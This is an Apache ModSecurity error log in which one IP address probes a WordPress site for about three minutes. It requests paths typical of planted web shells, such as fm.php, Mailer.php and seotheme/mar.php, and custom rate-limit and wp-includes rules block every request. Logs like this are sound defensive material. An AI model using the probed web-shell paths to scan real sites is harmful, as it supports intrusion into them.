[Mon Nov 24 21:00:05.303362 2025] [:error] [pid 48601:tid 48666] [client 4.233.64.129:29499] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/i1.php"] [unique_id "aSRW1YMM4MaVTk74-AbeKgAAAgk"]
[Mon Nov 24 21:00:07.787593 2025] [:error] [pid 48600:tid 48643] [client 4.233.64.129:28925] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/i1.php"] [unique_id "aSRW1_tOzSUAQvWVjBebhgAAAc0"]
[Mon Nov 24 21:00:13.844451 2025] [:error] [pid 9630:tid 9644] [client 4.233.64.129:29487] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aSRW3SrSgUgPGkizt2ossgAAAEw"]
[Mon Nov 24 21:00:16.085475 2025] [:error] [pid 16441:tid 16457] [client 4.233.64.129:51567] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aSRW4Iq_bc5MOa9HflmD6gAAAI0"]
[Mon Nov 24 21:00:25.446520 2025] [:error] [pid 9630:tid 9647] [client 4.233.64.129:29456] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/m.php"] [unique_id "aSRW6SrSgUgPGkizt2ostQAAAE8"]
[Mon Nov 24 21:00:27.436449 2025] [:error] [pid 9630:tid 9637] [client 4.233.64.129:29468] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/m.php"] [unique_id "aSRW6yrSgUgPGkizt2osxAAAAEU"]
[Mon Nov 24 21:00:31.726985 2025] [:error] [pid 48600:tid 48631] [client 4.233.64.129:51573] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/m.php"] [unique_id "aSRW7_tOzSUAQvWVjBebqAAAAcE"]
[Mon Nov 24 21:00:36.167698 2025] [:error] [pid 16516:tid 16523] [client 4.233.64.129:29453] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/m.php"] [unique_id "aSRW9PqZbniwaNwL8XkFqAAAAQQ"]
[Mon Nov 24 21:00:37.667793 2025] [:error] [pid 49900:tid 49905] [client 4.233.64.129:29257] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/themes.php"] [unique_id "aSRW9TCyPLrvg06aorlAAQAAAAM"]
[Mon Nov 24 21:00:39.477455 2025] [:error] [pid 16549:tid 16573] [client 4.233.64.129:28923] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/themes.php"] [unique_id "aSRW96eWW19A99PUw_dhDwAAAVQ"]
[Mon Nov 24 21:00:41.226083 2025] [:error] [pid 48599:tid 48624] [client 4.233.64.129:51563] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/themes.php"] [unique_id "aSRW-Zzvu6PDJiRKE3JJxwAAAZU"]
[Mon Nov 24 21:00:45.498879 2025] [:error] [pid 48600:tid 48647] [client 4.233.64.129:28920] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aSRW_ftOzSUAQvWVjBebtwAAAdE"]
[Mon Nov 24 21:00:47.278930 2025] [:error] [pid 49900:tid 49917] [client 4.233.64.129:28908] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aSRW_zCyPLrvg06aorlAFAAAAA8"]
[Mon Nov 24 21:00:48.782038 2025] [:error] [pid 48599:tid 48605] [client 4.233.64.129:28887] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aSRXAJzvu6PDJiRKE3JJygAAAYI"]
[Mon Nov 24 21:00:49.772787 2025] [:error] [pid 16593:tid 16600] [client 4.233.64.129:29440] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aSRXARVGznHBJI2LKpRlVgAAAoU"]
[Mon Nov 24 21:00:51.312618 2025] [:error] [pid 49900:tid 49918] [client 4.233.64.129:28875] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/fm.php"] [unique_id "aSRXAzCyPLrvg06aorlAGQAAABA"]
[Mon Nov 24 21:00:57.799329 2025] [:error] [pid 48601:tid 48681] [client 4.233.64.129:51565] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/fm.php"] [unique_id "aSRXCYMM4MaVTk74-AbeTQAAAhg"]
[Mon Nov 24 21:01:00.697379 2025] [:error] [pid 16549:tid 16553] [client 4.233.64.129:51577] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/fm.php"] [unique_id "aSRXDKeWW19A99PUw_dhFwAAAUE"]
[Mon Nov 24 21:01:03.764843 2025] [:error] [pid 49900:tid 49902] [client 4.233.64.129:28869] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/fm.php"] [unique_id "aSRXDzCyPLrvg06aorlAKgAAAAA"]
[Mon Nov 24 21:01:05.717946 2025] [:error] [pid 48688:tid 48715] [client 4.233.64.129:28927] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/17.php"] [unique_id "aSRXERm2q1FkzLam7A3HOQAAAlc"]
[Mon Nov 24 21:01:12.026190 2025] [:error] [pid 48688:tid 48697] [client 4.233.64.129:28901] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/17.php"] [unique_id "aSRXGBm2q1FkzLam7A3HOgAAAkU"]
[Mon Nov 24 21:01:13.694471 2025] [:error] [pid 48599:tid 48604] [client 4.233.64.129:29260] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/17.php"] [unique_id "aSRXGZzvu6PDJiRKE3JJ1wAAAYE"]
[Mon Nov 24 21:01:17.350277 2025] [:error] [pid 16593:tid 16614] [client 4.233.64.129:29285] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/17.php"] [unique_id "aSRXHRVGznHBJI2LKpRlXwAAApM"]
[Mon Nov 24 21:01:21.001996 2025] [:error] [pid 16516:tid 16541] [client 4.233.64.129:29477] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aSRXIfqZbniwaNwL8XkFvwAAARY"]
[Mon Nov 24 21:01:23.112170 2025] [:error] [pid 16593:tid 16600] [client 4.233.64.129:28898] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aSRXIxVGznHBJI2LKpRlYgAAAoU"]
[Mon Nov 24 21:01:24.645462 2025] [:error] [pid 16593:tid 16616] [client 4.233.64.129:51581] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aSRXJBVGznHBJI2LKpRlZgAAApU"]
[Mon Nov 24 21:01:25.962408 2025] [:error] [pid 16441:tid 16455] [client 4.233.64.129:28926] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aSRXJYq_bc5MOa9HflmEIgAAAIs"]
[Mon Nov 24 21:01:27.431928 2025] [:error] [pid 16516:tid 16520] [client 4.233.64.129:28900] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aSRXJ_qZbniwaNwL8XkGFAAAAQE"]
[Mon Nov 24 21:01:28.627616 2025] [:error] [pid 16593:tid 16598] [client 4.233.64.129:29253] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aSRXKBVGznHBJI2LKpRlaQAAAoM"]
[Mon Nov 24 21:01:32.677447 2025] [:error] [pid 48688:tid 48705] [client 4.233.64.129:28874] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aSRXLBm2q1FkzLam7A3HTgAAAk0"]
[Mon Nov 24 21:01:34.210923 2025] [:error] [pid 16441:tid 16461] [client 4.233.64.129:29289] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aSRXLoq_bc5MOa9HflmELgAAAJE"]
[Mon Nov 24 21:01:36.256664 2025] [:error] [pid 48599:tid 48609] [client 4.233.64.129:29270] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-configs.php"] [unique_id "aSRXMJzvu6PDJiRKE3JJ6AAAAYY"]
[Mon Nov 24 21:01:50.232979 2025] [:error] [pid 9630:tid 9646] [client 4.233.64.129:29255] [client 4.233.64.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSRXPirSgUgPGkizt2otFAAAAE4"]
[Mon Nov 24 21:01:56.458971 2025] [:error] [pid 16593:tid 16609] [client 4.233.64.129:29274] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aSRXRBVGznHBJI2LKpRlhgAAAo4"]
[Mon Nov 24 21:01:58.596302 2025] [:error] [pid 16549:tid 16571] [client 4.233.64.129:28870] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aSRXRqeWW19A99PUw_dhSgAAAVI"]
[Mon Nov 24 21:02:15.905240 2025] [:error] [pid 16593:tid 16606] [client 4.233.64.129:28731] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yu.php"] [unique_id "aSRXVxVGznHBJI2LKpRlngAAAos"]
[Mon Nov 24 21:02:17.414373 2025] [:error] [pid 49900:tid 49919] [client 4.233.64.129:28684] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yu.php"] [unique_id "aSRXWTCyPLrvg06aorlAmAAAABE"]
[Mon Nov 24 21:02:20.775753 2025] [:error] [pid 48601:tid 48681] [client 4.233.64.129:28704] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yu.php"] [unique_id "aSRXXIMM4MaVTk74-AbebwAAAhg"]
[Mon Nov 24 21:02:23.398845 2025] [:error] [pid 48599:tid 48625] [client 4.233.64.129:51545] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yu.php"] [unique_id "aSRXX5zvu6PDJiRKE3JKBQAAAZY"]
[Mon Nov 24 21:02:24.448848 2025] [:error] [pid 16441:tid 16460] [client 4.233.64.129:51522] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/Marvins.php"] [unique_id "aSRXYIq_bc5MOa9HflmEsAAAAJA"]
[Mon Nov 24 21:02:26.226699 2025] [:error] [pid 16549:tid 16555] [client 4.233.64.129:28699] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/Marvins.php"] [unique_id "aSRXYqeWW19A99PUw_dhVwAAAUM"]
[Mon Nov 24 21:02:27.147679 2025] [:error] [pid 16441:tid 16459] [client 4.233.64.129:28723] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/Marvins.php"] [unique_id "aSRXY4q_bc5MOa9HflmEuwAAAI8"]
[Mon Nov 24 21:02:34.751852 2025] [:error] [pid 16441:tid 16459] [client 4.233.64.129:51561] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/Marvins.php"] [unique_id "aSRXaoq_bc5MOa9HflmE2gAAAI8"]
[Mon Nov 24 21:02:38.909910 2025] [:error] [pid 16441:tid 16462] [client 4.233.64.129:51542] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aSRXboq_bc5MOa9HflmE5QAAAJI"]
[Mon Nov 24 21:02:41.845423 2025] [:error] [pid 16549:tid 16557] [client 4.233.64.129:51537] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aSRXcaeWW19A99PUw_dhYQAAAUU"]
[Mon Nov 24 21:02:53.649321 2025] [:error] [pid 16441:tid 16456] [client 4.233.64.129:28734] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/124.php"] [unique_id "aSRXfYq_bc5MOa9HflmFJgAAAIw"]
[Mon Nov 24 21:03:02.120921 2025] [:error] [pid 48688:tid 48693] [client 4.233.64.129:28673] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/q.php"] [unique_id "aSRXhhm2q1FkzLam7A3HnAAAAkE"]
[Mon Nov 24 21:03:03.882774 2025] [:error] [pid 16549:tid 16552] [client 4.233.64.129:28712] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/q.php"] [unique_id "aSRXh6eWW19A99PUw_dhbAAAAUA"]
[Mon Nov 24 21:03:05.460218 2025] [:error] [pid 16441:tid 16459] [client 4.233.64.129:28727] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/q.php"] [unique_id "aSRXiYq_bc5MOa9HflmFRwAAAI8"]
[Mon Nov 24 21:03:07.691961 2025] [:error] [pid 48688:tid 48701] [client 4.233.64.129:51582] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/q.php"] [unique_id "aSRXixm2q1FkzLam7A3HogAAAkk"]
[Mon Nov 24 21:03:11.179663 2025] [:error] [pid 49900:tid 49911] [client 4.233.64.129:28689] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aSRXjzCyPLrvg06aorlAwAAAAAk"]
[Mon Nov 24 21:03:20.735243 2025] [:error] [pid 49900:tid 49909] [client 4.233.64.129:29484] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aSRXmDCyPLrvg06aorlAywAAAAc"]
[Mon Nov 24 21:03:25.060867 2025] [:error] [pid 16549:tid 16573] [client 4.233.64.129:28882] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSRXnaeWW19A99PUw_dhcgAAAVQ"]
[Mon Nov 24 21:03:27.803031 2025] [:error] [pid 48599:tid 48608] [client 4.233.64.129:29488] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSRXn5zvu6PDJiRKE3JKIAAAAYU"]
[Mon Nov 24 21:03:31.807044 2025] [:error] [pid 48599:tid 48612] [client 4.233.64.129:28694] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSRXo5zvu6PDJiRKE3JKIwAAAYk"]
